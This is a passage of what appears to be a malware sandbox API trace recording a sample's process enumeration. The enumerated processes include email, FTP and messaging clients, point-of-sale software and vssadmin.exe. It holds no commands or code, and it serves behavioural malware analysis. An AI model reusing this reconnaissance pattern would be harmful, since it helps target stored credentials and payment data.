th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0037.686] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0037.686] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0037.687] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0037.688] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0037.688] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0037.689] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0037.690] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0037.690] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0037.691] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0037.696] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0037.697] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0037.698] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0037.698] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0037.699] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0037.700] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0037.700] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0037.701] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0037.702] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0037.703] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0037.703] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0037.704] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0037.704] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0037.705] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0037.706] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0037.706] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0037.707] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0037.708] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0037.708] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0037.709] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0037.709] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0037.710] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0037.711] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0037.711] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mostlyarticle.exe")) returned 1 [0037.712] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="stunninghoursconverter.exe")) returned 1 [0037.712] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="serial.exe")) returned 1 [0037.713] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignments.exe")) returned 1 [0037.714] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.714] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.715] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="osk.exe")) returned 1 [0037.715] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0037.716] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0037.716] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0037.717] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0037.717] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x898, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0037.718] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x90c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0037.718] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0037.719] Process32Next (in: hSnapshot=0xe8, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0037.719] GlobalLock (hMem=0x440004) returned 0x54c960 [0037.719] GlobalHandle (pMem=0x54c960) returned 0x440004 [0037.719] GlobalUnlock (hMem=0x440004) returned 0 [0037.720] GlobalLock (hMem=0x440004) returned 0x54c960 [0037.720] GlobalLock (hMem=0x44000c) returned 0x51f100 [0037.720] GlobalHandle (pMem=0x54c960) returned 0x440004 [0037.720] GlobalUnlock (hMem=0x440004) returned 0 [0037.720] GlobalHandle (pMem=0x51f100) returned 0x44000c [0037.720] GlobalUnlock (hMem=0x44000c) returned 0 [0037.720] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16c [0037.723] Process32First (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.723] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0037.724] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0037.724] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.725] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0037.725] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.726] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0037.726] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0037.727] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0037.727] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0037.728] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.728] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.728] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.729] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.729] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.737] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0037.737] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.738] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.738] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0037.738] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0037.739] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0037.740] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.740] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.740] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0037.741] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.741] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.742] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0037.742] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.743] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="purse-referrals-effort.exe")) returned 1 [0037.743] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="carrying.exe")) returned 1 [0037.744] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectsscholarturkey.exe")) returned 1 [0037.744] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mason fri.exe")) returned 1 [0037.744] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gs assign.exe")) returned 1 [0037.745] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="answering.exe")) returned 1 [0037.746] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ptssupportsengage.exe")) returned 1 [0037.746] Process32Next (in: hSnapshot=0x16c, 